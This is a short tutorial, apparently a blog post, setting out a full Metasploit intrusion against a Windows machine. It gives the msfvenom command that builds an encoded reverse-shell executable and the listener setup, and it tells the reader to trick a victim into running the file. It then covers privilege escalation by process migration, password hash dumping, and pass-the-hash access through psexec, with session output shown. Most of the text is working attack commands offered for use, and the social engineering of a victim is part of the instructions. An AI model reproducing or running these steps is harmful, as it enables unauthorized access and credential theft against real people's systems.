Metasploit in action

 

Metasploit:

Malicious executable creation:

Command: msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp lhost=192.168.2.120 lport=4343 -b '\x00' -e x86/shikata_ga_nai -f exe -o shell.exe

Now you need to transfer this exe to the victim. The victim needs to click on this to initiate the reverse shell. Before that in your attacking machine you need to listen for a connection so that the reverse shell from victim can connect to you easily. 

Type msfconsole in your kali shell.

Type following commands one by one beside msf6> 

use multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.2.120       (This is you attack machine ip)

set lport 4343

run

Now trick or manipulate victim to click on that shell.exe

You will get meterpreter shell like this. 

Meterpreter session 1 opened (192.168.2.120:4343 -> 192.168.2.252:49266) at 2017-09-06 17:04:07 +0000

meterpreter> 

Now if the user who clicked on the shell.exe is admin user or has admin privilege then you do not need to do anything. But if that less privilege user then you need to migrate that user privilege into high privilege something. 

meterpreter>  getuid     (To see hostname and username)

meterpreter> ps or taskhost.exe   (This command will list you number of processes running on that system. Find out a process that is running under NT AUTHORITY\SYTEM. Say that process pid is 2884.)

meterpreter> migrate 2884

meterpreter> hashdump (Now this command will work)

Collect the full hash of the admin or administrator user. Before : and after :

Now go to the psexec module and run commands one by one:

msf exploit(handler)> use exploit/windows/smb/psexec

> set rhost 192.168.2.252   (This is your victim)

> set smbuser admin

> set smbpass aad3b435b51404eeaad3b435b51404ee:3008c87294511142799dca1191e69a0f

> set payload windows/meterpreter/reverse_tcp

> set lhost 192.168.2.120   (This is your attack machine ip)

> set lport 1234

> run

Meterpreter session 6 opened (192.168.2.120:1234 -> 192.168.2.252:49162) at 2017-09-06 17:27:37 +0000

You will be connect to the victim machine using destination port 445. Always remember, session created from attack machine:port to target machine:port

Avi